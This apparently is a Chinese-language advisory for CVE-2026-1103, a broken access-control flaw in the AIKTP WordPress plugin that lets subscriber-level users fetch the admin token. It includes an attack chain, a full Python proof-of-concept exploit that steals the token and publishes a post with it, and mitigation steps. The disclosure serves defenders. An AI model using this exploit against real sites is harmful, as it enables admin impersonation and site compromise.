IPBUF安全漏洞报告
English
CVE-2026-1103 CVSS 5.4 中危

CVE-2026-1103 WordPress AIKTP插件未授权访问漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-1103
漏洞类型
权限控制缺陷/未授权访问
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AIKTP WordPress Plugin

相关标签

权限控制缺陷未授权访问WordPress插件REST APIAIKTPBroken Access ControlCVE-2026-1103

漏洞概述

AIKTP是WordPress的一个插件,主要用于内容同步和令牌管理。该插件在所有版本直到5.0.04存在严重的授权检查缺陷。具体来说,插件的REST API端点/aiktp/getToken使用了错误的权限回调函数'verify_user_logged_in',该函数仅检查用户是否已登录系统,但完全忽略了验证用户是否具有管理员权限。这导致任何具有订阅者(Subscriber)级别或更高权限的已认证用户都可以调用该API端点,无需任何管理特权即可获取管理员账户的'aiktpz_token'访问令牌。攻击者获取该令牌后,可以模拟管理员身份执行各种高权限操作,包括创建任意帖子、上传媒体库文件、以及访问原本只有管理员才能查看的私有内容。此漏洞影响所有使用该插件且版本在5.0.04及以下的WordPress站点,CVSS评分5.4,属于中等严重程度。

技术细节

该漏洞的根本原因在于WordPress REST API权限回调配置错误。插件开发者使用'verify_user_logged_in'作为REST端点的permission_callback,该函数定义在aiktp-sync.php文件的第123行附近,它仅调用is_user_logged_in()函数检查会话状态,完全绕过了WordPress强大的基于角色的访问控制(RBAC)系统。正确的做法应该是使用current_user_can('manage_options')或类似的函数来验证用户是否具有管理员权限。攻击者利用此漏洞的流程如下:首先使用低权限账户(如订阅者角色)登录WordPress,然后直接向目标站点的/wp-json/aiktp/getToken端点发送GET请求。由于权限检查不足,服务端会返回管理员的'aiktpz_token'令牌。攻击者获取令牌后,可在后续请求中携带该令牌(如在Authorization头中),从而以管理员身份调用其他受保护的REST API端点,执行创建文章、上传文件等敏感操作。漏洞代码位置在aiktp-sync.php的getToken函数中(第143行附近),该函数直接返回管理员令牌而未进行权限校验。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限WordPress账户(如订阅者角色),或利用已有的低权限账户登录系统
STEP 2
步骤2
攻击者构造HTTP GET请求访问目标站点的/wp-json/aiktp/getToken REST API端点
STEP 3
步骤3
由于端点的权限回调仅检查用户登录状态(verify_user_logged_in),不验证管理权限,请求被错误地允许
STEP 4
步骤4
服务端返回管理员的'aiktpz_token'访问令牌给攻击者
STEP 5
步骤5
攻击者使用获取的管理员令牌,在后续API请求的Authorization头中携带该令牌
STEP 6
步骤6
以管理员身份调用受保护的REST API端点,执行创建帖子、上传媒体文件、访问私有内容等高权限操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-1103 PoC - AIKTP Plugin Unauthorized Token Access # This PoC demonstrates how a low-privilege user can obtain admin tokens target = input("Enter target URL (e.g., http://example.com): ").strip() username = input("Enter low-privilege username: ").strip() password = input("Enter password: ").strip() session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target}/wp-admin/" } print("[*] Attempting to login as low-privilege user...") login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies) and 'wordpress_logged_in' not in str(login_response.cookies): print("[-] Login failed. Check credentials.") sys.exit(1) print("[+] Login successful!") # Step 2: Request admin token via vulnerable endpoint token_url = f"{target}/wp-json/aiktp/getToken" print(f"[*] Requesting admin token from: {token_url}") token_response = session.get(token_url) if token_response.status_code == 200: try: token_data = token_response.json() admin_token = token_data.get('token') or token_data.get('aiktpz_token') or token_data.get('data', {}).get('token') if admin_token: print(f"[CRITICAL] Admin token obtained: {admin_token}") print("[!] This token can be used to perform admin actions!") # Step 3: Demonstrate token usage (optional) headers = {'Authorization': f'Bearer {admin_token}'} posts_url = f"{target}/wp-json/wp/v2/posts" test_post = session.post(posts_url, headers=headers, json={ 'title': 'Unauthorized Post via CVE-2026-1103', 'content': 'This post was created by exploiting the AIKTP vulnerability.', 'status': 'publish' }) if test_post.status_code in [200, 201]: print(f"[+] Successfully created post! Post ID: {test_post.json().get('id')}") else: print(f"[-] Post creation failed: {test_post.status_code}") else: print("[-] No token found in response") print(f"[-] Response: {token_response.text}") except Exception as e: print(f"[-] Error parsing response: {e}") else: print(f"[-] Token request failed with status: {token_response.status_code}") print(f"[-] Response: {token_response.text}")

影响范围

AIKTP Plugin for WordPress <= 5.0.04

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 暂时禁用AIKTP插件;2) 使用Web应用防火墙(WAF)规则阻止对/wp-json/aiktp/getToken端点的访问;3) 限制WordPress的注册功能,防止攻击者创建低权限账户;4) 监控WordPress日志,查找异常的REST API调用;5) 考虑使用第三方安全插件增强WordPress的权限控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表